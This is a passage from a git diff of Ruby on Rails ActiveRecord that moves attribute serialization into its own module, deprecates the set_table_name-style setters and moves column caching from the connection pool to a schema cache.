+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -0,0 +1,100 @@
+module ActiveRecord
+ module AttributeMethods
+ module Serialization
+ extend ActiveSupport::Concern
+
+ included do
+ # Returns a hash of all the attributes that have been specified for serialization as
+ # keys and their class restriction as values.
+ class_attribute :serialized_attributes
+ self.serialized_attributes = {}
+ end
+
+ class Attribute < Struct.new(:coder, :value, :state)
+ def unserialized_value
+ state == :serialized ? unserialize : value
+ end
+
+ def serialized_value
+ state == :unserialized ? serialize : value
+ end
+
+ def unserialize
+ self.state = :unserialized
+ self.value = coder.load(value)
+ end
+
+ def serialize
+ self.state = :serialized
+ self.value = coder.dump(value)
+ end
+ end
+
+ module ClassMethods
+ # If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object,
+ # then specify the name of that attribute using this method and it will be handled automatically.
+ # The serialization is done through YAML. If +class_name+ is specified, the serialized object must be of that
+ # class on retrieval or SerializationTypeMismatch will be raised.
+ #
+ # ==== Parameters
+ #
+ # * +attr_name+ - The field name that should be serialized.
+ # * +class_name+ - Optional, class name that the object type should be equal to.
+ #
+ # ==== Example
+ # # Serialize a preferences attribute
+ # class User < ActiveRecord::Base
+ # serialize :preferences
+ # end
+ def serialize(attr_name, class_name = Object)
+ coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
+ class_name
+ else
+ Coders::YAMLColumn.new(class_name)
+ end
+
+ # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
+ # has its own hash of own serialized attributes
+ self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
+ end
+
+ def define_method_attribute(attr_name)
+ if serialized_attributes.include?(attr_name)
+ generated_attribute_methods.module_eval(<<-CODE, __FILE__, __LINE__)
+ def _#{attr_name}
+ @attributes['#{attr_name}'].unserialized_value
+ end
+ alias #{attr_name} _#{attr_name}
+ CODE
+ else
+ super
+ end
+ end
+ end
+
+ def set_serialized_attributes
+ self.class.serialized_attributes.each do |key, coder|
+ if @attributes.key?(key)
+ @attributes[key] = Attribute.new(coder, @attributes[key], :serialized)
+ end
+ end
+ end
+
+ def type_cast_attribute(column, value)
+ if column && self.class.serialized_attributes[column.name]
+ value.unserialized_value
+ else
+ super
+ end
+ end
+
+ def type_cast_attribute_for_write(column, value)
+ if column && coder = self.class.serialized_attributes[column.name]
+ Attribute.new(coder, value, :unserialized)
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index c77a3ac145..07499db9f0 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -10,7 +10,7 @@ module ActiveRecord
module ClassMethods
protected
def define_method_attribute=(attr_name)
- if attr_name =~ ActiveModel::AttributeMethods::COMPILABLE_REGEXP
+ if attr_name =~ ActiveModel::AttributeMethods::NAME_COMPILABLE_REGEXP
generated_attribute_methods.module_eval("def #{attr_name}=(new_value); write_attribute('#{attr_name}', new_value); end", __FILE__, __LINE__)
else
generated_attribute_methods.send(:define_method, "#{attr_name}=") do |new_value|
@@ -24,12 +24,14 @@ module ActiveRecord
# for fixnum and float columns are turned into +nil+.
def write_attribute(attr_name, value)
attr_name = attr_name.to_s
- attr_name = self.class.primary_key if attr_name == 'id'
+ attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
@attributes_cache.delete(attr_name)
- if (column = column_for_attribute(attr_name)) && column.number?
- @attributes[attr_name] = convert_number_column_value(value)
+ column = column_for_attribute(attr_name)
+
+ if column || @attributes.has_key?(attr_name)
+ @attributes[attr_name] = type_cast_attribute_for_write(column, value)
else
- @attributes[attr_name] = value
+ raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'"
end
end
alias_method :raw_write_attribute, :write_attribute
@@ -39,6 +41,14 @@ module ActiveRecord
def attribute=(attribute_name, value)
write_attribute(attribute_name, value)
end
+
+ def type_cast_attribute_for_write(column, value)
+ if column && column.number?
+ convert_number_column_value(value)
+ else
+ value
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index 085fdba639..6d3f1839c5 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -21,6 +21,21 @@ module ActiveRecord
# Note that <tt>:autosave => false</tt> is not same as not declaring <tt>:autosave</tt>.
# When the <tt>:autosave</tt> option is not present new associations are saved.
#
+ # == Validation
+ #
+ # Children records are validated unless <tt>:validate</tt> is +false+.
+ #
+ # == Callbacks
+ #
+ # Association with autosave option defines several callbacks on your
+ # model (before_save, after_create, after_update). Please note that
+ # callbacks are executed in the order they were defined in
+ # model. You should avoid modyfing the association content, before
+ # autosave callbacks are executed. Placing your callbacks after
+ # associations is usually a good practice.
+ #
+ # == Examples
+ #
# === One-to-one Example
#
# class Post
@@ -109,10 +124,7 @@ module ActiveRecord
# Now it _is_ removed from the database:
#
# Comment.find_by_id(id).nil? # => true
- #
- # === Validation
- #
- # Children records are validated unless <tt>:validate</tt> is +false+.
+
module AutosaveAssociation
extend ActiveSupport::Concern
@@ -264,7 +276,7 @@ module ActiveRecord
# turned on for the association.
def validate_single_association(reflection)
association = association_instance_get(reflection.name)
- record = association && association.target
+ record = association && association.reader
association_valid?(reflection, record) if record
end
@@ -370,7 +382,10 @@ module ActiveRecord
else
key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave)
- record[reflection.foreign_key] = key
+ unless reflection.through_reflection
+ record[reflection.foreign_key] = key
+ end
+
saved = record.save(:validate => !autosave)
raise ActiveRecord::Rollback if !saved && autosave
saved
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index 4136868b39..76aa121ade 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -23,6 +23,7 @@ require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/module/introspection'
require 'active_support/core_ext/object/duplicable'
require 'active_support/core_ext/object/blank'
+require 'active_support/deprecation'
require 'arel'
require 'active_record/errors'
require 'active_record/log_subscriber'
@@ -115,8 +116,8 @@ module ActiveRecord #:nodoc:
# When joining tables, nested hashes or keys written in the form 'table_name.column_name'
# can be used to qualify the table name of a particular condition. For instance:
#
- # Student.joins(:schools).where(:schools => { :type => 'public' })
- # Student.joins(:schools).where('schools.type' => 'public' )
+ # Student.joins(:schools).where(:schools => { :category => 'public' })
+ # Student.joins(:schools).where('schools.category' => 'public' )
#
# == Overwriting default accessors
#
@@ -177,6 +178,10 @@ module ActiveRecord #:nodoc:
# And instead of writing <tt>Person.where(:last_name => last_name).all</tt>, you just do
# <tt>Person.find_all_by_last_name(last_name)</tt>.
#
+ # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an
+ # <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records,
+ # like <tt>Person.find_by_last_name!</tt>.
+ #
# It's also possible to use multiple attributes in the same find by separating them with "_and_".
#
# Person.where(:user_name => user_name, :password => password).first
@@ -428,20 +433,33 @@ module ActiveRecord #:nodoc:
class_attribute :default_scopes, :instance_writer => false
self.default_scopes = []
- # Returns a hash of all the attributes that have been specified for serialization as
- # keys and their class restriction as values.
- class_attribute :serialized_attributes
- self.serialized_attributes = {}
-
class_attribute :_attr_readonly, :instance_writer => false
self._attr_readonly = []
class << self # Class methods
delegate :find, :first, :first!, :last, :last!, :all, :exists?, :any?, :many?, :to => :scoped
+ delegate :first_or_create, :first_or_create!, :first_or_initialize, :to => :scoped
delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, :to => :scoped
delegate :find_each, :find_in_batches, :to => :scoped
- delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :where, :preload, :eager_load, :includes, :from, :lock, :readonly, :having, :create_with, :to => :scoped
- delegate :count, :average, :minimum, :maximum, :sum, :calculate, :to => :scoped
+ delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
+ :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
+ :having, :create_with, :uniq, :to => :scoped
+ delegate :count, :average, :minimum, :maximum, :sum, :calculate, :pluck, :to => :scoped
+
+ def inherited(child_class) #:nodoc:
+ # force attribute methods to be higher in inheritance hierarchy than other generated methods
+ child_class.generated_attribute_methods
+ child_class.generated_feature_methods
+ super
+ end
+
+ def generated_feature_methods
+ @generated_feature_methods ||= begin
+ mod = const_set(:GeneratedFeatureMethods, Module.new)
+ include mod
+ mod
+ end
+ end
# Executes a custom SQL query against your database and returns all the results. The results will
# be returned as an array with columns requested encapsulated as attributes of the model you call
@@ -537,31 +555,32 @@ module ActiveRecord #:nodoc:
self._attr_readonly
end
- # If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object,
- # then specify the name of that attribute using this method and it will be handled automatically.
- # The serialization is done through YAML. If +class_name+ is specified, the serialized object must be of that
- # class on retrieval or SerializationTypeMismatch will be raised.
- #
- # ==== Parameters
- #
- # * +attr_name+ - The field name that should be serialized.
- # * +class_name+ - Optional, class name that the object type should be equal to.
- #
- # ==== Example
- # # Serialize a preferences attribute
- # class User < ActiveRecord::Base
- # serialize :preferences
- # end
- def serialize(attr_name, class_name = Object)
- coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
- class_name
- else
- Coders::YAMLColumn.new(class_name)
- end
+ def deprecated_property_setter(property, value, block) #:nodoc:
+ if block
+ ActiveSupport::Deprecation.warn(
+ "Calling set_#{property} is deprecated. If you need to lazily evaluate " \
+ "the #{property}, define your own `self.#{property}` class method. You can use `super` " \
+ "to get the default #{property} where you would have called `original_#{property}`."
+ )
+
+ define_attr_method property, value, false, &block
+ else
+ ActiveSupport::Deprecation.warn(
+ "Calling set_#{property} is deprecated. Please use `self.#{property} = 'the_name'` instead."
+ )
- # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
- # has its own hash of own serialized attributes
- self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
+ define_attr_method property, value, false
+ end
+ end
+
+ def deprecated_original_property_getter(property) #:nodoc:
+ ActiveSupport::Deprecation.warn("original_#{property} is deprecated. Define self.#{property} and call super instead.")
+
+ if !instance_variable_defined?("@original_#{property}") && respond_to?("reset_#{property}")
+ send("reset_#{property}")
+ else
+ instance_variable_get("@original_#{property}")
+ end
end
# Guesses the table name (in forced lower-case) based on the name of the class in the
@@ -603,14 +622,52 @@ module ActiveRecord #:nodoc:
# the table name guess for an Invoice class becomes "myapp_invoices".
# Invoice::Lineitem becomes "myapp_invoice_lineitems".
#
- # You can also overwrite this class method to allow for unguessable
- # links, such as a Mouse class with a link to a "mice" table. Example:
+ # You can also set your own table name explicitly:
#
# class Mouse < ActiveRecord::Base
- # set_table_name "mice"
+ # self.table_name = "mice"
+ # end
+ #
+ # Alternatively, you can override the table_name method to define your
+ # own computation. (Possibly using <tt>super</tt> to manipulate the default
+ # table name.) Example:
+ #
+ # class Post < ActiveRecord::Base
+ # def self.table_name
+ # "special_" + super
+ # end
# end
+ # Post.table_name # => "special_posts"
def table_name
- reset_table_name
+ reset_table_name unless defined?(@table_name)
+ @table_name
+ end
+
+ def original_table_name #:nodoc:
+ deprecated_original_property_getter :table_name
+ end
+
+ # Sets the table name explicitly. Example:
+ #
+ # class Project < ActiveRecord::Base
+ # self.table_name = "project"
+ # end
+ #
+ # You can also just define your own <tt>self.table_name</tt> method; see
+ # the documentation for ActiveRecord::Base#table_name.
+ def table_name=(value)
+ @original_table_name = @table_name if defined?(@table_name)
+ @table_name = value
+ @quoted_table_name = nil
+ @arel_table = nil
+ @relation = Relation.new(self, arel_table)
+ end
+
+ def set_table_name(value = nil, &block) #:nodoc:
+ deprecated_property_setter :table_name, value, block
+ @quoted_table_name = nil
+ @arel_table = nil
+ @relation = Relation.new(self, arel_table)
end
# Returns a quoted version of the table name, used to construct SQL statements.
@@ -620,59 +677,57 @@ module ActiveRecord #:nodoc:
# Computes the table name, (re)sets it internally, and returns it.
def reset_table_name #:nodoc:
- self.table_name = compute_table_name
+ if superclass.abstract_class?
+ self.table_name = superclass.table_name || compute_table_name
+ elsif abstract_class?
+ self.table_name = superclass == Base ? nil : superclass.table_name
+ else
+ self.table_name = compute_table_name
+ end
end
def full_table_name_prefix #:nodoc:
(parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
end
- # Defines the column name for use with single table inheritance. Use
- # <tt>set_inheritance_column</tt> to set a different value.
+ # The name of the column containing the object's class when Single Table Inheritance is used
def inheritance_column
- @inheritance_column ||= "type"
+ if self == Base
+ 'type'
+ else
+ (@inheritance_column ||= nil) || superclass.inheritance_column
+ end
end
- # Lazy-set the sequence name to the connection's default. This method
- # is only ever called once since set_sequence_name overrides it.
- def sequence_name #:nodoc:
- reset_sequence_name
+ def original_inheritance_column #:nodoc:
+ deprecated_original_property_getter :inheritance_column
end
- def reset_sequence_name #:nodoc:
- default = connection.default_sequence_name(table_name, primary_key)
- set_sequence_name(default)
- default
+ # Sets the value of inheritance_column
+ def inheritance_column=(value)
+ @original_inheritance_column = inheritance_column
+ @inheritance_column = value.to_s
end
- # Sets the table name. If the value is nil or false then the value returned by the given
- # block is used.
- #
- # class Project < ActiveRecord::Base
- # set_table_name "project"
- # end
- def set_table_name(value = nil, &block)
- @quoted_table_name = nil
- define_attr_method :table_name, value, &block
- @arel_table = nil
+ def set_inheritance_column(value = nil, &block) #:nodoc:
+ deprecated_property_setter :inheritance_column, value, block
+ end
+
+ def sequence_name
+ if superclass == Base
+ @sequence_name ||= reset_sequence_name
+ else
+ (@sequence_name ||= nil) || superclass.sequence_name
+ end
+ end
- @relation = Relation.new(self, arel_table)
+ def original_sequence_name #:nodoc:
+ deprecated_original_property_getter :sequence_name
end
- alias :table_name= :set_table_name
- # Sets the name of the inheritance column to use to the given value,
- # or (if the value # is nil or false) to the value returned by the
- # given block.
- #
- # class Project < ActiveRecord::Base
- # set_inheritance_column do
- # original_inheritance_column + "_id"
- # end
- # end
- def set_inheritance_column(value = nil, &block)
- define_attr_method :inheritance_column, value, &block
+ def reset_sequence_name #:nodoc:
+ self.sequence_name = connection.default_sequence_name(table_name, primary_key)
end
- alias :inheritance_column= :set_inheritance_column
# Sets the name of the sequence to use when generating ids to the given
# value, or (if the value is nil or false) to the value returned by the
@@ -686,12 +741,16 @@ module ActiveRecord #:nodoc:
# will discover the sequence corresponding to your primary key for you.
#
# class Project < ActiveRecord::Base
- # set_sequence_name "projectseq" # default would have been "project_seq"
+ # self.sequence_name = "projectseq" # default would have been "project_seq"
# end
- def set_sequence_name(value = nil, &block)
- define_attr_method :sequence_name, value, &block
+ def sequence_name=(value)
+ @original_sequence_name = @sequence_name if defined?(@sequence_name)
+ @sequence_name = value.to_s
+ end
+
+ def set_sequence_name(value = nil, &block) #:nodoc:
+ deprecated_property_setter :sequence_name, value, block
end
- alias :sequence_name= :set_sequence_name
# Indicates whether the table associated with this class exists
def table_exists?
@@ -700,18 +759,22 @@ module ActiveRecord #:nodoc:
# Returns an array of column objects for the table associated with this class.
def columns
- connection_pool.columns[table_name]
+ if defined?(@primary_key)
+ connection.schema_cache.primary_keys[table_name] ||= primary_key
+ end
+
+ connection.schema_cache.columns[table_name]
end
# Returns a hash of column objects for the table associated with this class.
def columns_hash
- connection_pool.columns_hash[table_name]
+ connection.schema_cache.columns_hash[table_name]
end
# Returns a hash where the keys are column names and the values are
# default values when instantiating the AR object for this table.
def column_defaults
- connection_pool.column_defaults[table_name]
+ connection.schema_cache.column_defaults[table_name]
end
# Returns an array of column names as strings.
@@ -747,7 +810,7 @@ module ActiveRecord #:nodoc:
# values, eg:
#
# class CreateJobLevels < ActiveRecord::Migration
- # def self.up
+ # def up
# create_table :job_levels do |t|
# t.integer :id
# t.string :name
@@ -761,21 +824,21 @@ module ActiveRecord #:nodoc:
# end
# end
#
- # def self.down
+ # def down
# drop_table :job_levels
# end
# end
def reset_column_information
connection.clear_cache!
undefine_attribute_methods
- connection_pool.clear_table_cache!(table_name) if table_exists?
+ connection.schema_cache.clear_table_cache!(table_name) if table_exists?
@column_names = @content_columns = @dynamic_methods_hash = @inheritance_column = nil
@arel_engine = @relation = nil
end
def clear_cache! # :nodoc:
- connection_pool.clear_cache!
+ connection.schema_cache.clear!
end
def attribute_method?(attribute)
@@ -937,17 +1000,6 @@ module ActiveRecord #:nodoc:
self.current_scope = nil
end
- # Specifies how the record is loaded by +Marshal+.
- #
- # +_load+ sets an instance variable for each key in the hash it takes as input.
- # Override this method if you require more complex marshalling.
- def _load(data)
- record = allocate
- record.init_with(Marshal.load(data))
- record
- end
-
-
# Finder methods must instantiate through this method to work with the
# single-table inheritance model that makes it possible to create
# objects of different types from the same table.
@@ -1267,27 +1319,43 @@ MSG
self.default_scopes = default_scopes + [scope]
end
- # The @ignore_default_scope flag is used to prevent an infinite recursion situation where
- # a default scope references a scope which has a default scope which references a scope...
def build_default_scope #:nodoc:
- return if defined?(@ignore_default_scope) && @ignore_default_scope
- @ignore_default_scope = true
-
if method(:default_scope).owner != Base.singleton_class
- default_scope
+ evaluate_default_scope { default_scope }
elsif default_scopes.any?
- default_scopes.inject(relation) do |default_scope, scope|
- if scope.is_a?(Hash)
- default_scope.apply_finder_options(scope)
- elsif !scope.is_a?(Relation) && scope.respond_to?(:call)
- default_scope.merge(scope.call)
- else
- default_scope.merge(scope)
+ evaluate_default_scope do
+ default_scopes.inject(relation) do |default_scope, scope|
+ if scope.is_a?(Hash)
+ default_scope.apply_finder_options(scope)
+ elsif !scope.is_a?(Relation) && scope.respond_to?(:call)
+ default_scope.merge(scope.call)
+ else
+ default_scope.merge(scope)
+ end
end
end
end
- ensure
- @ignore_default_scope = false
+ end
+
+ def ignore_default_scope? #:nodoc:
+ Thread.current["#{self}_ignore_default_scope"]
+ end
+
+ def ignore_default_scope=(ignore) #:nodoc:
+ Thread.current["#{self}_ignore_default_scope"] = ignore
+ end
+
+ # The ignore_default_scope flag is used to prevent an infinite recursion situation where
+ # a default scope references a scope which has a default scope which references a scope...
+ def evaluate_default_scope
+ return if ignore_default_scope?
+
+ begin
+ self.ignore_default_scope = true
+ yield
+ ensure
+ self.ignore_default_scope = false
+ end
end
# Returns the class type of the record using the current module as a prefix. So descendants of
@@ -1320,7 +1388,7 @@ MSG
# Returns the class descending directly from ActiveRecord::Base or an
# abstract class, if any, in the inheritance hierarchy.
def class_of_active_record_descendant(klass)
- if klass.superclass == Base || klass.superclass.abstract_class?
+ if klass == Base || klass.superclass == Base || klass.superclass.abstract_class?
klass
elsif klass.superclass.nil?
raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
@@ -1338,9 +1406,9 @@ MSG
return nil if condition.blank?
case condition
- when Array; sanitize_sql_array(condition)
- when Hash; sanitize_sql_hash_for_conditions(condition, table_name)
- else condition
+ when Array; sanitize_sql_array(condition)
+ when Hash; sanitize_sql_hash_for_conditions(condition, table_name)
+ else condition
end
end
alias_method :sanitize_sql, :sanitize_sql_for_conditions
@@ -1409,9 +1477,8 @@ MSG
attrs = expand_hash_conditions_for_aggregates(attrs)
table = Arel::Table.new(table_name).alias(default_table_name)
- viz = Arel::Visitors.for(arel_engine)
PredicateBuilder.build_from_hash(arel_engine, attrs, table).map { |b|
- viz.accept b
+ connection.visitor.accept b
}.join(' AND ')
end
alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
@@ -1589,16 +1656,6 @@ MSG
self
end
- # Specifies how the record is dumped by +Marshal+.
- #
- # +_dump+ emits a marshalled hash which has been passed to +encode_with+. Override this
- # method if you require more complex marshalling.
- def _dump(level)
- dump = {}
- encode_with(dump)
- Marshal.dump(dump)
- end
-
# Returns a String, which Action Pack uses for constructing an URL to this
# object. The default implementation returns this record's id as a String,
# or nil if this record's unsaved.
@@ -1764,7 +1821,8 @@ MSG
# Returns true if the specified +attribute+ has been set by the user or by a database load and is neither
# nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings).
def attribute_present?(attribute)
- !_read_attribute(attribute).blank?
+ value = _read_attribute(attribute)
+ !value.nil? || (value.respond_to?(:empty?) && !value.empty?)
end
# Returns the column object for the named attribute.
@@ -1849,7 +1907,7 @@ MSG
ensure_proper_type
populate_with_current_scope_attributes
- clear_timestamp_attributes
+ super
end
# Returns +true+ if the record is read only. Records loaded through joins with piggy-back
@@ -1877,6 +1935,26 @@ MSG
"#<#{self.class} #{inspection}>"
end
+ # Hackery to accomodate Syck. Remove for 4.0.
+ def to_yaml(opts = {}) #:nodoc:
+ if YAML.const_defined?(:ENGINE) && !YAML::ENGINE.syck?
+ super
+ else
+ coder = {}
+ encode_with(coder)
+ YAML.quick_emit(self, opts) do |out|
+ out.map(taguri, to_yaml_style) do |map|
+ coder.each { |k, v| map.add(k, v) }
+ end
+ end
+ end
+ end
+
+ # Hackery to accomodate Syck. Remove for 4.0.
+ def yaml_initialize(tag, coder) #:nodoc:
+ init_with(coder)
+ end
+
protected
def clone_attributes(reader_method = :read_attribute, attributes = {})
attribute_names.each do |name|
@@ -1914,14 +1992,6 @@ MSG
nil
end
- def set_serialized_attributes
- sattrs = self.class.serialized_attributes
-
- sattrs.each do |key, coder|
- @attributes[key] = coder.load @attributes[key] if @attributes.key?(key)
- end
- end
-
# Sets the attribute used for single table inheritance to this class name if this is not the
# ActiveRecord::Base descendant.
# Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
@@ -1953,8 +2023,8 @@ MSG
if include_readonly_attributes || (!include_readonly_attributes && !self.class.readonly_attributes.include?(name))
- value = if coder = klass.serialized_attributes[name]
- coder.dump @attributes[name]
+ value = if klass.serialized_attributes.include?(name)
+ @attributes[name].serialized_value
else
# FIXME: we need @attributes to be used consistently.
# If the values stored in @attributes were already type
@@ -2114,16 +2184,6 @@ MSG
end
end
- # Clear attributes and changed_attributes
- def clear_timestamp_attributes
- all_timestamp_attributes_in_model.each do |attribute_name|
- self[attribute_name] = nil
- changed_attributes.delete(attribute_name)
- end
- end
- end
-
- Base.class_eval do
include ActiveRecord::Persistence
extend ActiveModel::Naming
extend QueryCache::ClassMethods
@@ -2139,6 +2199,7 @@ MSG
include AttributeMethods::PrimaryKey
include AttributeMethods::TimeZoneConversion
include AttributeMethods::Dirty
+ include AttributeMethods::Serialization
include ActiveModel::MassAssignmentSecurity
include Callbacks, ActiveModel::Observing, Timestamp
include Associations, NamedScope
@@ -2148,7 +2209,7 @@ MSG
# AutosaveAssociation needs to be included before Transactions, because we want
# #save_with_autosave_associations to be wrapped inside a transaction.
include AutosaveAssociation, NestedAttributes
- include Aggregations, Transactions, Reflection, Serialization
+ include Aggregations, Transactions, Reflection, Serialization, Store
NilClass.add_whiner(self) if NilClass.respond_to?(:add_whiner)
@@ -2165,4 +2226,5 @@ MSG
end
end
+require 'active_record/connection_adapters/abstract/connection_specification'
ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index ddfdb05297..698da34d26 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -1,7 +1,7 @@
require 'thread'
require 'monitor'
require 'set'
-require 'active_support/core_ext/module/synchronization'
+require 'active_support/core_ext/module/deprecation'
module ActiveRecord
# Raised when a connection could not be obtained within the connection
@@ -57,10 +57,10 @@ module ActiveRecord
# * +wait_timeout+: number of seconds to block and wait for a connection
# before giving up and raising a timeout error (default 5 seconds).
class ConnectionPool
+ include MonitorMixin
+
attr_accessor :automatic_reconnect
attr_reader :spec, :connections
- attr_reader :columns, :columns_hash, :primary_keys, :tables
- attr_reader :column_defaults
# Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
# object which describes database connection information (e.g. adapter,
@@ -69,87 +69,21 @@ module ActiveRecord
#
# The default ConnectionPool maximum size is 5.
def initialize(spec)
+ super()
+
@spec = spec
# The cache of reserved connections mapped to threads
@reserved_connections = {}
- # The mutex used to synchronize pool access
- @connection_mutex = Monitor.new
- @queue = @connection_mutex.new_cond
+ @queue = new_cond
@timeout = spec.config[:wait_timeout] || 5
# default max pool size to 5
@size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
- @connections = []
- @checked_out = []
+ @connections = []
@automatic_reconnect = true
- @tables = {}
-
- @columns = Hash.new do |h, table_name|
- h[table_name] = with_connection do |conn|
-
- # Fetch a list of columns
- conn.columns(table_name, "#{table_name} Columns").tap do |columns|
-
- # set primary key information
- columns.each do |column|
- column.primary = column.name == primary_keys[table_name]
- end
- end
- end
- end
-
- @columns_hash = Hash.new do |h, table_name|
- h[table_name] = Hash[columns[table_name].map { |col|
- [col.name, col]
- }]
- end
-
- @column_defaults = Hash.new do |h, table_name|
- h[table_name] = Hash[columns[table_name].map { |col|
- [col.name, col.default]
- }]
- end
-
- @primary_keys = Hash.new do |h, table_name|
- h[table_name] = with_connection do |conn|
- table_exists?(table_name) ? conn.primary_key(table_name) : 'id'
- end
- end
- end
-
- # A cached lookup for table existence.
- def table_exists?(name)
- return true if @tables.key? name
-
- with_connection do |conn|
- conn.tables.each { |table| @tables[table] = true }
- @tables[name] = true if !@tables.key?(name) && conn.table_exists?(name)
- end
-
- @tables.key? name
- end
-
- # Clears out internal caches:
- #
- # * columns
- # * columns_hash
- # * tables
- def clear_cache!
- @columns.clear
- @columns_hash.clear
- @column_defaults.clear
- @tables.clear
- end
-
- # Clear out internal caches for table with +table_name+.
- def clear_table_cache!(table_name)
- @columns.delete table_name
- @columns_hash.delete table_name
- @column_defaults.delete table_name
- @primary_keys.delete table_name
end
# Retrieve the connection associated with the current thread, or call
@@ -164,7 +98,7 @@ module ActiveRecord
# Check to see if there is an active connection in this connection
# pool.
def active_connection?
- @reserved_connections.key? current_connection_id
+ active_connections.any?
end
# Signal that the thread is finished with the current connection.
@@ -180,7 +114,7 @@ module ActiveRecord
# connection when finished.
def with_connection
connection_id = current_connection_id
- fresh_connection = true unless @reserved_connections[connection_id]
+ fresh_connection = true unless active_connection?
yield connection
ensure
release_connection(connection_id) if fresh_connection
@@ -188,43 +122,73 @@ module ActiveRecord
# Returns true if a connection has already been opened.
def connected?
- !@connections.empty?
+ synchronize { @connections.any? }
end
# Disconnects all connections in the pool, and clears the pool.
def disconnect!
- @reserved_connections.each do |name,conn|
- checkin conn
- end
- @reserved_connections = {}
- @connections.each do |conn|
- conn.disconnect!
+ synchronize do
+ @reserved_connections = {}
+ @connections.each do |conn|
+ checkin conn
+ conn.disconnect!
+ end
+ @connections = []
end
- @connections = []
end
# Clears the cache which maps classes.
def clear_reloadable_connections!
- @reserved_connections.each do |name, conn|
- checkin conn
- end
- @reserved_connections = {}
- @connections.each do |conn|
- conn.disconnect! if conn.requires_reloading?
- end
- @connections.delete_if do |conn|
- conn.requires_reloading?
+ synchronize do
+ @reserved_connections = {}
+ @connections.each do |conn|
+ checkin conn
+ conn.disconnect! if conn.requires_reloading?
+ end
+ @connections.delete_if do |conn|
+ conn.requires_reloading?
+ end
end
end
# Verify active connections and remove and disconnect connections
# associated with stale threads.
def verify_active_connections! #:nodoc:
- clear_stale_cached_connections!
- @connections.each do |connection|
- connection.verify!
+ synchronize do
+ clear_stale_cached_connections!
+ @connections.each do |connection|
+ connection.verify!
+ end
+ end
+ end
+
+ def columns
+ with_connection do |c|
+ c.schema_cache.columns
+ end
+ end
+ deprecate :columns
+
+ def columns_hash
+ with_connection do |c|
+ c.schema_cache.columns_hash
+ end
+ end
+ deprecate :columns_hash
+
+ def primary_keys
+ with_connection do |c|
+ c.schema_cache.primary_keys
+ end
+ end
+ deprecate :primary_keys
+
+ def clear_cache!
+ with_connection do |c|
+ c.schema_cache.clear!
end
end
+ deprecate :clear_cache!
# Return any checked-out connections back to the pool by threads that
# are no longer alive.
@@ -233,7 +197,13 @@ module ActiveRecord
t.alive?
}.map { |thread| thread.object_id }
keys.each do |key|
- checkin @reserved_connections[key]
+ conn = @reserved_connections[key]
+ ActiveSupport::Deprecation.warn(<<-eowarn) if conn.in_use?
+Database connections will not be closed automatically, please close your
+database connection at the end of the thread by calling `close` on your
+connection. For example: ActiveRecord::Base.connection.close
+ eowarn
+ checkin conn
@reserved_connections.delete(key)
end
end
@@ -256,22 +226,29 @@ module ActiveRecord
# within the timeout period.
def checkout
# Checkout an available connection
- @connection_mutex.synchronize do
+ synchronize do
loop do
- conn = if @checked_out.size < @connections.size
- checkout_existing_connection
- elsif @connections.size < @size
- checkout_new_connection
- end
- return conn if conn
+ conn = @connections.find { |c| c.lease }
+
+ unless conn
+ if @connections.size < @size
+ conn = checkout_new_connection
+ conn.lease
+ end
+ end
+
+ if conn
+ checkout_and_verify conn
+ return conn
+ end
@queue.wait(@timeout)
- if(@checked_out.size < @connections.size)
+ if(active_connections.size < @connections.size)
next
else
clear_stale_cached_connections!
- if @size == @checked_out.size
+ if @size == active_connections.size
raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it."
end
end
@@ -286,46 +263,43 @@ module ActiveRecord
# +conn+: an AbstractAdapter object, which was obtained by earlier by
# calling +checkout+ on this pool.
def checkin(conn)
- @connection_mutex.synchronize do
+ synchronize do
conn.run_callbacks :checkin do
- @checked_out.delete conn
+ conn.expire
@queue.signal
end
end
end
- synchronize :clear_reloadable_connections!, :verify_active_connections!,
- :connected?, :disconnect!, :with => :@connection_mutex
-
private
+
def new_connection
ActiveRecord::Base.send(spec.adapter_method, spec.config)
end
